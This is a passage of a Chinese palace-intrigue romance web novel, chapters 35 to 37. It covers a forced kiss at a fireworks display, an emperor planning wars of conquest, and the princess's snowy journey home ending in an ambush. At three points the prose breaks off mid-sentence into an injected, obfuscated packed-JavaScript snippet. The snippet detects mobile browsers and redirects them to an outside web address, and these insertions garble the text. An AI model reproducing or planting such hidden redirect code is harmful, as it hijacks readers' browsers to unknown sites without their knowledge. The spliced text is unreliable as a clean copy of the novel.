她尴尬地笑,“哈哈哈哈哈哈,是吗?” 35. 深坐颦蛾眉 第三十五章深坐颦蛾眉 (蔻燎) 蛇宝羹很好吃,曲双蛾烧的菜也清淡养胃,落花啼大饱口福一番,她匆匆吃罢,无心观察曲探幽的饮食习惯。 用过晚膳,桃镯等宫婢进来收拾碗筷。 曲双蛾提议让曲探幽带落花啼去东宫逛一逛,赏月吟风,增进感情,一个时辰后,她会派宫婢来接人回欢漪殿歇息。 落花啼知道曲双蛾是诚心希望她和曲探幽成双成对,为了不让曲双蛾生疑,她无奈之下答应去消食片刻。 来到东宫,入鞘带着一群负伤的侍卫在墙外面壁思过,看见曲探幽回来,陈述了过程,甘愿领罚。 曲探幽道,“老规矩,受十鞭。” 入鞘点头,携着那些侍卫走了。 落花啼一边跨步入东宫,一边状似无意道,“何必?不就是打不过花辞树吗?” “落花啼,孤是看在你的面子上留他一命,你得明白,在曲朝的地盘,孤想杀一个姓花的野男人是易如反掌的。” 曲探幽跟上落花啼的步伐,高大的身形笼罩着对方,目仁森然,“他觊觎你,孤迟早会和他算这笔账。” “你算你祖宗的屁账,你算得清吗?他是落花国的人,你要杀还得经过本公主的同意,你敢动他一根汗毛,我就会用同样的方法对待你。” “你是在维护他吗?你与他不过寥寥数面的交情,你便这般信任他?” “我不信他,还信你不成?” 落花啼摸清楚了,只要她跟曲探幽单独待着,两人和火药筒子没什么区别,一挨就着,一碰就炸,一点就爆。 闻声赶来的红药,余容,将离一一福身见礼,恭敬道,“奴婢参见太子殿下,春还公主。” 落曲二人各朝反方向冷哼一声。 三宫婢面面相觑,心知此地不宜久留,走之前还退散了东宫廊柱下多余的人手。 踱步到悬书阁,落花啼与曲探幽拾阶坐下,对月仰望。 曲探幽横笛在唇,修长的指尖轻盈地点跃,绵绵如细雨,浩浩若荒漠,幽幽似曲水,凄凄犹秋风的乐声环绕耳畔,如梦如幻,妙不可言。 落花啼心思沉重,就那么屈膝坐着,手肘支在腿上,脑袋搁手掌心里,抬目瞅着那黄色的圆月。 悬书阁前的一棵大梧桐树凋零了一大半的叶子,光秃秃的枝杈由粗变细,纵横交错地捅-上了天空。 一株尖尖的树杈正正插-中了月亮,一时分不清是月亮自己挂在天上,还是被树枝串在了天上。 笛音凄迷,渺渺幽幽,使人听了陷入哀愁。 落花啼想起许久不见的花-径深了,鼻头酸涩,眼眶热乎乎的,她心道,花-径深,你什么时候回来呢?我和曲探幽联姻之日,你会出现吗? 花-径深,旁人无论如何都比不上你的。 笛声消残,夜幕寂静,浅浅的呼吸声被放大,敲在心底。 落花啼趴于交叠的胳膊上,歪头看着曲探幽,疑惑道,“嗯?怎么不吹了?有头没尾的。” “不想吹。” “嘁,谁稀罕听。” 落花啼不给面子地翻白眼,蓦然想起一点,她坐直身体,“曲探幽,之前在落花国发现的枫林国后裔锁阳人和魔门狡兔窟,你不是命人追踪吗?有没有下文?” 眼孔的审视呼之欲出,曲探幽凤目半眯,忖念一刻,道,“锁阳人难以寻觅,至今无人找到他们的藏身之处,因此无从确定他们的活动范围,即便发现行踪,抓捕的过程也不太顺利。至于狡兔窟,它就在黑羲国之内,想进去查探,还得费一番功夫。” 他道,“你是想查跃鲤的去向和死活?” “不,我只是好奇跃鲤身上的毒疮是怎么回事。” “什么?” “你知不知道,世界上有一种叫‘无情思’的毒药?” “不曾听闻。”曲探幽如实回复。 落花啼“哦”一声,阴阳怪气,“我还以为堂堂曲朝太子见识高深,无所不知,原来很多东西也未能涉猎。” 她乘机又抛出几个滚烫的话题,“曲探幽,你不知道‘无情思’可以理解,那这些你必然知道,李怀桃道长是什么时候来曲朝的?他是出自哪个门派?” 曲探幽不假思索,“李怀桃道长和你一样,出自天相宗,但是属于哪一门便不得而知。他是戌邕二十九年来到曲朝的。如何?你还想听什么?” 得知李怀桃是天相宗门人,不亚于给落花啼脑门上贯了一铁杵,砸得她头又晕眼又花,口中发哕,恶心得要吐出来。 曲探幽瞧她脸色惨白如纸,朗笑道,“落花啼,你打听李怀桃做什么?你去找过他?” “没有。” “嗯,那我们不提他了。你大哥与孤的五妹这些日子相处融洽,孤相信,你我亦然,能越来越融洽。” 落花啼微愣,冷笑了之,置若罔闻。 曲水沣都。 一处热闹的集市靠近曲水河畔,集市里的百姓熙熙攘攘挤在一起,你争我抢堵在河边观看河面上的表演。 曲水上飘着几叶扁舟,皆是皇亲国戚所坐之地。 普通老百姓只能站在两岸,勾着脖子努力去遥望。 今儿夜里表演的是古老的焰火艺术——打铁花。 一只大船上有两名年轻女子,绣眉杏眼,笑容可掬,面朝看众们俯首一鞠躬,掷地有声道,“各位父老乡亲,兄弟姐妹,有钱的捧个钱场,没钱的捧个人场!感谢捧场!感谢支持!” 两人相视一笑,各站一船头,一船尾。 一挥板,一敲击,熔岩般沸腾的铁水腾空而起,抛至高顶,“唰唰唰”,铁水如流星划落,点点滴滴翾舞飘洒,染亮了黢黑的夜幕。 像萤火之光,梦幻缥缈,转瞬即逝。 光芒熄灭,硬石般的铁水跌进曲水河,迸溅出微弱的水花。 “哇!好漂亮!下星星雨啦,下星星雨啦!”岸边的小稚童眨巴着大眼睛,手舞足蹈。 “震撼!好看!像极了天界的神仙在给我们洒金子呢!”一年轻男子不住地拍手,啪啪作响。 “再来一次,再来一次!哦吼!” “在天散作满天星,在地化为百颗金,妙啊妙啊!” “我还想看,还想看……” 人群激奋,鼎沸不休。 一扁舟之上,落花鸣和曲柔忆坐在茶案边,眼眸里倒映着打铁花的壮丽景色,一泼泼火树银花开在天角,美得让人沉沦。 一次打铁花的铁水太多,散得太远,曲柔忆深觉那铁水要洒在自己皮肉上,一下子扑进了落花鸣的胸膛。 她性子害羞,在父皇允许出宫游玩之时每每都戴上珠玑编织的帷帽,饱满的玉珠垂到颈边,更衬得那香肤冰肌动人心魄。 噼里啪啦的珠子砸在下颌,痛感袭来,落花鸣僵直不动,静静听着曲柔忆的声音响在下方,“我怕。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869801|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 语罢,她弱不禁风地咳嗽几下,靠得更近了。 落花鸣原本还是有一点抗拒的,狠下心推了推,曲柔忆像无骨的鱼儿般陷在他身上,碰一下便愈发软了,绵了,起不来了。 落花鸣能感觉到他触碰曲柔忆时,指腹火辣辣地灼烧,比铁水还炙热凶猛。 说不清道不明,他莫名心疼,推拒的双手渐渐环上了曲柔忆瘦弱的窄肩。 曲柔忆眨一眨眼,嘟嘟囔囔道,“太子,落花国是不是有很多珍奇的花儿?很多曲朝没有的花儿,对么?” 落花鸣道,“是,落花国一年四季都有开不败的花,春夏秋季花团锦簇,冬天有雪莲,那里的美景花海一辈子都赏不完。” “太子,那我有机会去落花国看无边无际的花海吗?” 她说,“你们从落花国送来的龙鳞花特别漂亮,父皇非常喜爱,我也很喜欢,可惜我只看了一眼,再也看不见了。所以,我想去看看落花国那边的花海,开开眼界。太子,你说,我能看见吗?” 落花鸣喉结鼓动,顿了顿,忸怩道,“嗯……可以罢。” 曲柔忆轻笑,爬起身,珠玑撞出脆响,她小心翼翼撩开几串珠玑,露出帷帽下面的温婉笑容,她慢慢地贴上去,把柔软的香唇蜻蜓点水似的在落花鸣唇上印了一印。 笑靥如花,脸庞红红的,“多谢太子,柔忆会期待那一天的。” 曲水河的波澜浮动,无规律地拍打着船板,“哐哐”作响,剔透的水浪一团胜一团高。 岸边,落花啼眼睁睁盯着自己的大哥拉着曲柔忆的手上岸,士兵宫婢们见状涌上去,簇拥着他们离开打铁花的地方。 心脏紧缩,无法言喻的感受铺天盖地,眉颦如山。 背后掠来曲探幽的笑声,十分促狭,“你看,孤没骗你吧。大哥和五妹相处得比我们好多了。” 落花啼情绪复杂,拳头紧握,侧身愤恨地瞪着曲探幽,讥嘲,“区区美人计,大哥定力极佳,绝对不会上当的。” 曲探幽挑挑眉,但笑不语。 此时河面上又来了一场打铁花盛宴,河畔围观的群众的注意力全部被吸引过去,欢呼振臂,雀跃尖叫。 金黄色的星点簌簌地洒落而下,播种了花粒,仿佛春天的迎春花,夏天的金盏菊,秋天的丹桂花,冬天的腊梅花,开得漫山遍野,开得一望无垠。 而曲探幽不看打铁花,他手上劲力一攥落花啼的肩膀,把人扣到怀里,在打铁花冲向漆黑天幕的一霎时,俯身垂眸,捧着落花啼的脸蛋重重地吻了上去。 滚烫的手指箍着自己,温热的双唇覆来,落花啼汗毛都竖了起来,毫无征兆地接受曲探幽的索吻。 舌叶吮吸,牙齿轻刮,双方的呼吸和津-液搅和得昏天黑地,彼此难分,不给人喘息的一丝余地。 落花啼下意识去扒某人的手掌,奈何这一举动惹得对方力道更大,直接把她抵到了一面墙上,压着她开始掠夺式的侵-占。 心中的厌恶卷土重来,落花啼忍无可忍,抬脚朝前一踢,往那人的胯-部给予一击。 曲探幽闷哼,回身后撤,躲了一半还是被踹上,他伸手扑扑白底金纹的袍子,魇足地笑了,“踹得真有劲。” “春还公主还是这般泼辣,招人喜爱。” 话一毕,打铁花的铁水淅淅沥沥下雨一样钻入了曲水,溅出万点金星。 周遭黯然,朦胧住了落花啼酡红的两块腮面。 36. 冰雪铺玉街 第三十六章冰雪铺玉街 (蔻燎) 崇礼殿。 金覆龙顶,丹墀玉阶,凤阙龙楼奢靡大气,尽显端庄威赫。 秉笔小太监奉上笔墨纸砚,为书案前埋首批阅奏折的曲远纣磨研了一池黑墨,一池朱砂。 曲远纣粗眉一锁,抬手接过太监递来的灰白色鼠须笔,笔尖蘸蘸朱砂,哗啦往一奏折上写了“朕已晓”三字,随手抛向一侧。 那小太监手忙脚乱去捡奏折,慌慌张张在桌角摆放整齐。 此时殿门被人轻启,首领太监张回进来行罢礼,蹑手蹑脚附到曲远纣耳旁,低声道了一句话。 曲远纣搁下沾满朱砂的猩红鼠须笔,侧目,“传太子进来。” “奴才遵命。” 张回答应着,招上那秉笔太监离开崇礼殿,去殿外传太子殿下入内,他们则屏退一席闲杂人等,留给皇上和太子独处的空间。 曲远纣时常与曲探幽在崇礼殿讨论国事,这是皇宫上下人尽皆知的,毕竟曲探幽乃储君,深得君心,是旁的皇子公主无法望其项背的人。 曲探幽仍是穿了一袭白底金龙袍,贵意十足,衬得他峻拔若神,龙章凤姿,天质自然。 不多修饰,已达到了遗世独立的程度。 他走至殿中,低头,淡淡行了一礼,“儿臣参见父皇。” 曲远纣笑了笑,朝其招手道,“探幽,你过来。” 曲探幽来到书案边,被一堆明黄色奏折所包围,目露不解。 曲远纣拽着一本奏折,指着上面的内容,光明正大让曲探幽看一遍,随即道,“探幽,这奏折上说,偏远山地的百姓民不聊生,靠山吃山靠水吃水的环境不复存在,他们从自给自足的农民变成了沿街乞讨的乞丐,全是拜当地的府城作威作福,强占土地,蛮横剥削所导致的。以你之见,该当如何处理?” “回父皇,儿臣愚见,其策有三。第一,贪腐欺民之官,须罢官抄家,脏钱浊财皆充盈国库。第二,散田归民,给流离失所的百姓温饱的权利,每年依律法收纳合理的田税。第三,分派督检司年年微服巡视,年末拟出贪墨名单,再逐一按严重程度调查整顿,以清腐败之风。” 曲探幽声调清冽,字字铿锵,眼眸如深潭静水,不可窥测。 合上奏折,曲远纣面上闪过一丝满意,似锥目光扫描着自己最喜爱的第七子,“探幽答得极好,可倘若贪腐之人是曲朝皇室,至亲之人,你又当怎般处置?” “铁面无私,大义灭亲。”曲探幽颔首,言辞凉薄,却有着不容置喙的笃定。 曲远纣脸庞一僵,嘴角微微上扬,眼底的光芒寒浸浸的,他不置可否,怪笑道,“看来探幽果是忧国忧民的好太子,愿为天下人来惩罚曲氏人。” “不过,探幽,你得铭记这一点,血浓于水,在百姓和曲氏之间,不到万不得已,你不可挥刀相向自己的兄弟姐妹,或是其他宗亲。” “儿臣,谨记在心。” 顿一顿,曲探幽僵凝如石,冷冷地附和。 在百姓和曲氏之间?岂不是在表明要保住作恶的皇亲国戚,不准给百姓一个公道吗? 百姓,曲氏,必须选择曲氏一族。 那么,曲氏中人和曲氏中人对抗之时,他是不是就能挥刀相向呢? 曲探幽嗤笑。 案边的曲远纣没注意到曲探幽的脸色,兀自丢开奏折,靠在椅背上,捏一捏紧绷的眉心,慵然道,“探幽,古往今来,历朝历代都会经历崛起,强盛,没落,凋敝,覆灭的过程,而今我朝亦不例外。要想永远屹立不倒,就得一直强盛,但是曲朝现在还未到那个地步,所以我们得想方设法一统天下,成为人间霸主。” “三十多年来,朕拿下了枫林国,曲水国,后面的任务就得看你了。” “父皇,你的意思……” “李怀桃所言的千古一帝不久现世之辞,朕从未忘记,虽然后面出现了‘毒蛇衔信’的新传言,搞得两传言不知孰真孰假……朕思量一番,得出结论,不管真真假假,宁可错杀不可放过,全部都别想逃。探幽,朕明白你心悦落花啼,落花啼的母国落花国眼下也规规矩矩,没有错处,可以慢慢收拾。当务之急,得一步步蚕食周边他国,你有无异议?” 曲探幽摇摇头,一口应下,“儿臣明白,定助父皇夺得霸业。” 曲远纣扬眉淡笑,伸手拉过曲探幽的胳膊,摩挲一阵,道,“探幽最得朕心,朕相信你能帮朕解忧化难。你是朕最最疼爱的儿子,虽然她生前不懂事敢找人刺杀朕,但朕从始至终都不曾怪罪你和双蛾,你知道朕的苦衷,是不是?” 盯着那只戴满金玉扳指的大手,曲探幽只觉陌生非常,他笑道,“儿臣多谢父皇体谅宠爱,易地而处,儿臣也不认可母后当年的做法。” 他寒声道,“边陲小国出生的母后,鼠目寸光,怎会懂得统治天下的雄心壮志?” “没错,天下唯曲朝最强,合该趁热打铁收了其他国家,怎可拘泥于情情爱爱?她的死,与朕毫无干系。” “父皇所言极是。” 曲探幽不经意地抽出自己的手。 曲远纣似乎念及什么,兴致勃勃道,“探幽,你是朕众多儿女中最像朕的一人,你能理解朕当年灭掉曲水国的心情和做法,那以后你活学活用去灭掉落花国,自然轻轻松松。亦不会沉迷情爱,对吗?” “儿臣一切以父皇为榜样。” “好!好!哈哈哈哈哈哈!朕知道,你果然跟朕一模一样。” 曲探幽笑而不言。 少顷,曲远纣笑罢,郑重其事地开始讨论先打哪一个国家,他用鼠须笔在一张白净的纸上写出了“蓝穹”,并用朱砂圈了一个圆。 “蓝穹国,黑羲国,落花国,金炼国,焰焚国,其中属蓝穹目下最弱,且不大听话,便拿它开刀罢。‘蔽幽窥蓝见王像,何睹暝夜烧灵台。’这是新的千古一帝诗词的内容,里面提到了蓝穹国,它不冤枉。” 曲探幽噙笑,呵气如兰,掷地有声道,“父皇英明,儿臣唯父皇马首是瞻。” 他如何不知曲远纣内心的如意算盘? 蓝穹国近年来频频以胡搅蛮缠的借口拒绝上供曲朝,还在交界地纵容士兵挑事,曲朝忍无可忍。 再一个,蓝穹国紧挨着被灭掉的枫林国,换而言之,那所谓的枫林国领地已是曲朝的地盘,蓝穹国现在是被曲朝左右夹击,打起仗来胜算更大。 并且在蓝穹国周围时常发现枫林国后裔锁阳人的踪迹,曲远纣必然怀疑蓝穹国勾结了枫林国后裔想帮其复国,改变被曲朝包裹的生存局面。 在曲探幽这里,他还有一私心,便是耿耿于怀小侯爷蓝今宵目睹他在孽海私养军队一事,与其杀人灭口,不如吞噬他的国家,来得更爽快些。 即便作了曲远纣的棋子,他也无痛无痒。 一月后,寒冬。 鹅毛大雪漫天飘落,万物披上银装,凛风糊面,抢人呼吸。 百花冬夜杀,寒梅倚枝俏。 时至腊月,曲远纣同意了落花啼,落花鸣兄妹回落花国暂作整顿,等新年开春就动手准备夏日的婚礼事宜。 落花啼棋行险招,这一世没敢退婚,赌一把曲朝会先留下落花国,而真正得到这种结果,落花啼还是不可抑制地深吁一口气。 已熬过了前世被灭国的那段时日,可喜可贺,只得走一步看一步,至少眼下他们落花国是安全的。 临行前,落花啼特意去堆放万两黄金的大殿一一检验真假,确定无误,看着曲兵帮忙把黄金条分装在十几辆马车内。用黑色布匹遮掩裹实,防止路上偶遇强盗土匪。 曲朝皇宫,宫门前。 落花啼穿上冬装,兜上银狐大氅,与同样披上黑貂大氅的兄长落花鸣一齐朝曲远纣,覆掀雨等人道别。对于帝后两人,他们无话可说,草草寒暄便作罢了。 出于礼节,曲朝的长公主曲双蛾,五公主曲柔忆,四皇子曲瑾琏,六皇子曲钦寒……皆来送行。 在这些人中,落花啼最舍不得的就是曲双蛾了,这些日子她与对方同吃同住,感情熟稔,她踩着“咯吱咯吱”叫的厚雪,扑过去给曲双蛾结实的一抱,“双蛾姐姐,我走了,你要照顾好自己。” 曲双蛾泪汪汪道,“小花啼,冬日雪密路滑,要不等开春再回去吧?” “多谢双蛾姐姐关心,我同大哥出来太久了,理该回国和父母见面的。” “嗯,那你多穿点,别冻着了。”曲双蛾向身边的大宫女道,“桃镯,给小花啼备的汤婆子呢?” 桃镯从怀里捧了两个小西瓜大的汤婆子交到落花啼和银芽手里,微微淡笑。 落花啼手心滚烫,甜笑着道了谢,又与曲双蛾说了几句,便去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882813|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找落花鸣。 转眼一望,却见自家大哥站在曲柔忆面前,慢声细语。 大雪纷纷,漫漫洒洒,簌簌地挂满了长街。 长街尽头,白得晃人眼眸。 曲瑾琏,曲钦寒与众多皇子公主站在帝后一侧,眼神怪异地瞅着落花啼,那种和曲探幽如出一辙的倨傲使得人看了愤怒,真想给他们挥两拳头泄泄-火。 送行的这一日,曲探幽作为太子殿下,并未露面。 落花啼无心猜测曲探幽为何不来,她巴不得早些离开,繁琐的客套后,她带着银芽钻入一辆马车,手掌捂住暖乎乎的汤婆子,启声道,“出发!” 落花鸣的马车在前,落花啼的马车在后,一队粉金色马车跟在他们末端,每辆马车都围了许多落花士兵,蜿蜒的人马浩浩汤汤出了曲水沣都,往遥远的落花国前进。 戌邕帝曲远纣和皇后覆掀雨领着皇子公主打道回宫。 曲瑾琏,曲钦寒二人四目相对,不跟上宫人的队伍,而是骑着高头大马在街道上踟蹰,勾着脖颈远眺那慢慢渺小的粉金色队伍。 曲瑾琏拨走鼻梁上的一抹冰凉的雪花,笑道,“奇了怪了,七弟何以不来送别?他不是落花啼的未婚夫吗?” “七弟自幼何时喜欢过什么女人?我看,他也是逢场作戏,装装样子。说不定现在有要务在身,不得空过来做戏了。” “呵,要务在身。父皇什么事都交给他办,哪里记得你我?就连以貌美著称的落花啼也是要嫁给他,好事全落他头上了,他凭什么?” 曲钦寒瞧瞧前后左右,雪花寂寥地飞过,行人罕见,他扯一扯嘴角,“七弟是前皇后之子,身份尊贵,自是与我们不同了。而且他和落花啼是娃娃亲,怎么也落不到我们身上,争论不休也没劲儿。” “前皇后之子?前皇后死了多少年了?她召集了那么多杀手来暗杀父皇,她算什么皇后,父皇没厌恶七弟更是奇怪,说到底,还是七弟擅长蛊惑父皇,父皇才如此疼爱他的,他已无母族支撑,想要弄他……” 一语未了,一声骏马的嘶鸣刺入耳膜。 曲钦寒率先发觉,扭头一瞧,心跳差点戛然而止,他忙不迭举手捅一捅滔滔不绝的曲瑾琏,曲瑾琏经他提醒,杜口结舌,眸光闪烁地看去。 白金色曲兵开道而来,前首有两人骑马踏雪行近,不紧不慢,正是曲探幽与入鞘。 曲探幽勒住马缰,展颜笑道,“四哥,六哥。” 曲钦寒回了和气的笑容,“太子殿下,你来了,春还公主刚走,可惜了。” 曲瑾琏道,“太子,你怎的这么晚才来?你的落花啼走了有半个钟头,你是打算去追么?” “今儿雪景极妙,孤四处走走罢了。” “走走?何以带上这么多士兵?” “他们近日疏于锻炼,也一俱走走。” 曲探幽明摆着不想跟他们东拉西扯,语调懒懒散散,眸子睥睨,笑意阴沉。 他头也不回地丢下话,一招手,金色军队沿着落花士兵留出的脚印和车轱辘印缓缓走去。 眼见曲兵消失在视线里,曲瑾琏才咬牙切齿,恨恨道,“钦寒,你觉着,等七弟当了皇帝,我们还有好日子吗?” “七弟是天之骄子,自有一番待人接物之道,其实只要不和他对着干,不会有什么事的。” “六弟,你太傻了。” 曲瑾琏按按跃动的太阳穴,叹息道,“他的野心你还看不出来?一旦有威胁他地位的人,他都会不择手段地除掉,与其他日后得势来对付我们,不如我们先对付他。” “你忘了?三哥曲阳曦四年前将过了二十八岁的生辰,第二日便被七弟邀去偏僻山林围猎,马蹄踩空不幸摔下山崖断了一腿,终生得坐轮椅活命,最后三哥一蹶不振,郁郁而终。这些,七弟难道脱得了关系吗?” “那时候,三哥很得父皇宠爱,荣耀万千。” 曲钦寒思索片刻,疑惑道,“可是,你我不得父皇宠爱,也没有威胁到七弟的地位,就算是七弟害死了三哥,他也不会在乎我们的,他看我们的眼神,和父皇毫无区别,都像是在看畜生……” “……那你想一辈子在他们眼里当畜生?” “什么意思?” 曲瑾琏抿唇,字字珠玑,义正辞严,“我要给三哥报仇,我要让七弟潦倒落败,永不翻身。” 37. 山风吹空林 第三十七章山风吹空林 (蔻燎) 曲朝疆域辽阔,一望无际,要出曲朝都得花上数月,众人紧赶慢赶按地图来到了回落花国的必经之地——逆兽道。 还没靠拢逆兽道,就遭遇了疑题。 雪天路滑,行走困难。 马车轱辘时常走一截就陷进雪泥坑中,折腾半天也翻不过去,马匹在前面铆足劲儿冲刺,士兵在后头胀起青筋狠推车辆。 手里的汤婆子冷却了,比冰碴还冻人,落花啼放下汤婆子,踩着小马扎跳到地面,先去和落花鸣打声招呼,提议命令一众人等就地歇息,等把马车从泥坑救出来再前行。 落花鸣认可,道,“整顿休息!” 落花士兵,随行丫鬟陆陆续续停下,寻地方静静待着。 落花啼被银芽扶着去看陷入雪坑的马车,主仆俩走得左拐右拐,你滑一下我溜一下,好险摔地面去。 拍拍银芽的后脑勺,落花啼忍俊不禁,“银芽,你不必去了,你叫上丫鬟去找个干燥的地方生堆火,烧点热水装汤婆子,我瞧瞧马车的情况,去去就回。” 银芽怎放心落花啼一人走过去,可想起方才自己走得乱七八糟,十次有八次会把公主拽倒下去,小脸红扑扑,犹豫道,“公主,你和我们一起烧火吧,弄马车的事情让士兵干吧,那些都是脏活累活。” “银芽,没事,我想去帮忙。你就待在原地,你再不生火,等会儿我和大哥烤什么取暖呢?” “好,公主,我马上去。” 一听太子殿下落花鸣也急着烤火,银芽丢掉扭扭捏捏,赶忙去唤了几名丫鬟捡干柴。 落花啼戴上银狐大氅的帽子,半掩住珠翠满鬓的脑袋,她的衣裙是红绿色,上面点缀着金色纹路,此时裙摆下端稍微掺了些白白的雪沫,像雾气萦绕在脚面。 一块冻得溜光水滑的破石头藏匿在雪堆下,落花啼不经意踏上去,“唰”的一声,整个人歪斜向下,她情不自禁低叫一记。 胳膊一紧,后背跌入一片温热。 熟悉的朗绝嗓音响在头顶,含着顽皮,“花啼,还好我时刻盯着你,否则你就摔个结实了。” 离开曲水沣都的花辞树,心情颇好,换上一身士兵服饰,依旧挺拔如松,俊美无双。 他俯视怀中的公主,咧嘴笑道,“怎么?不舍得起来了啊。” 落花啼双颊飘了绯红,仿佛两团烈火燃烧,她一推花辞树站稳脚步,轻咳道,“额,小花,那马车轮子弄出来了没?” “还没,马车里装的金条太多,根本推不动,我便让他们先把金条一一取下,再在马车轮子下面去铺几根木头,这样就好办了。” “小花聪慧,我正想去指挥他们速战速决,没想到你就安排好了。” “我只是不想让你操心太多。” 花辞树折了一手腕粗的木棍递给落花啼当拐杖,以防趔趄,落花啼拿着木棍跟着花辞树去了马车周围。 一群士兵正小心翼翼把金条搬下马车,另一波士兵则瞪圆眼睛在旁边监工,防止不轨之人偷窃金条。 落花啼立在一棵大松树下避雪,帽檐上积了晶莹剔透的雪花,白花花的雪片斜着飞,直往那些士兵脸上铺,好像世间没有五颜六色,徒剩了绝望的苍白。 花辞树嘱咐落花啼别沾脏了衣物,他揎袖捋衣挤到士兵里,呼哧呼哧端了几次金条,两三下帮着将金条搬干净。 随后带人去两边的密林砍了粗细相似的木头,一个一个叠在车轱辘前方,一人在马车上驾马,一群人齐心协力在车后用力推。 “一,二,三!推!” “一,二,三!推——” 花辞树不仅领导力强,体格也健壮,小臂上因使劲突出了山峦般起伏的筋脉,雪白的花朵贴了上去,不出几秒就被他的体温给烫成了湿漉漉的水液。 水液顺势划入了他的臂弯,瞬而消失。 如此画面,看得人面红耳赤,心痒难耐。 “推!” 最后一声喊罢,“轰隆”,马车狠狠地碾压着木头朝前飞驰,雪泥浆子四溅,周遭的人被泼了一身。 好在受困的马车终于上了正道的坡。 落花士兵继续忙碌地把金条重新搬回马车,用黑布裹好,累完了才找地方坐着歇歇气。 落花啼掏了银瓜子赏给那些卖力的士兵,表达感谢,她留了一块大银疙瘩想送花辞树,衣摆脏兮兮的花辞树却不愿意靠近落花啼,远远站着,摇了摇手,“花啼,我就不要赏钱了。” “你出力不少,为何不收?你若觉得少我回了落花王宫再送你多的也不迟。” “我不要。” 花辞树撅撅嘴,小孩子般撒着娇道,“我要旁人都没有的。” “什么?” “花啼,你可以送我一只镂花珠玑钗吗?就那朵红色芍药边上的。” “……嗯?真的吗?” “真的。” 落花啼不敢置信,这还是头一次有男人胆大包天找她要发饰这样的贴身之物。 女子送男子发钗,在话本里不就是表明在送定情信物吗? 她和花辞树可不是情人。 良久,两人缄默无言,尴尬的氛围笼罩过来,逃也逃不开。 落花啼搔搔头,正欲言语,花辞树眼孔一暗,一面抓过树叶上的白雪认真地搓洗那溅了泥污的衣摆,一面黯然神伤地旋身走了。 “小花……” 还没唤住对方,耳畔荡来“咯吱咯吱”的踩雪声,由远及近。 一回眸,撞上了落花鸣的打量眼光。 落花鸣未观察到花辞树,单以为落花啼在雪地玩雪,略略摆出长兄如父的架势,严肃道,“花啼,冰天雪地,冷气袭人,若不注意容易感染风寒,你快些上马车待着,不要到处乱走。” “大哥。”落花啼不吃这一套,走过去凑近落花鸣,眨巴眨巴水眸,发出一道直戳要害的问题,“妹妹有疑,求你解惑。” 落花鸣一本正经道,“何事?” “妹妹想问的是,大哥这段日子在曲朝过得可还如意?”她没忘记落花鸣喝醉酒接下两道赐婚圣旨的事。 “还行。” 不算如意,也不算不如意。 落花啼道,“那大哥对曲朝五公主是什么感觉?” 落花鸣正视落花啼的脸蛋,反应过来,耳朵红得几欲透明,含糊道,“无感。” “无感?无感还能亲一块去啊?” “你……你……” 落花鸣憋了半天,气鼓鼓的,回击道,“你与那曲朝太子不也一样?我的下属曾在曲水河畔看见你和他亲……” “砰!” 一拳头砸大松树上,指骨疼得颤抖,这回换落花啼耳朵泛红,无地自容,她颇为恼羞成怒,打断落花鸣的话语,狡辩道,“怎么可能?你下属一定眼花看错了。” 脚下一转,拂袖而去。 落花鸣低头笑了笑,紧步追了上去,兄妹俩走回马车聚集地,坐在马扎上围烤篝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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花辞树叫士兵拿出干粮和水伺候太子殿下吃点东西垫垫肚子,他拿了一块烤热的酥饼走到落花啼身边,落花啼刚喝了点银芽奉上的冷水,忍不住一个寒战。 “花啼,冬雪过大,一时半会出不了逆兽道了,恐怕难以及时赶去下一处城郭蓄上食物和水。你把酥饼吃了吧,今早你也是草草地吃饭,没吃多少,肯定饿了。” 落花啼接过酥饼,掰开三份,分给花辞树,银芽,眸仁在火把的映照下宛如璀璨的珠玉,“多谢小花,你也吃点。我记得上一回经过逆兽道挺顺利的,这一次可能是暴雪的原因,现在的逆兽道让人感觉阴森森的,毛骨悚然。” “天气恶劣,人力难抗。只求这雪快些停罢。” “嗯。” 三人挤着坐,塞吃着酥饼下肚,稍微裹腹,意犹未尽。 他们望着那洞口,守着篝火取暖,随便挑起话头就能聊得津津有味。 谈天说地,渐渐忘记了洞外的暴雪。 一士兵抱着刀剑靠着石壁打盹,突然脑门上“铿”的被硬物狠砸,疼得他猛然张开眼,惊弓之鸟般道,“谁?” 他脱口而出的话没控制音量,导致逆兽道里的人都听见了,纷纷摇头看向他。 下一刻,洞顶上方毫无征兆地响起刺耳的利器刮壁声,让人头皮发麻,神经绷死。 一士兵骇然道,“难道有吃人的野兽?” 他话音未落,但闻一声悲戚的惨叫,一道银光闪掠,那士兵轰隆倒地。 口鼻溢血,竟是被自上垂下的一柄长剑捅-进嘴中,长驱直入捅到了肺腑,一命呜呼。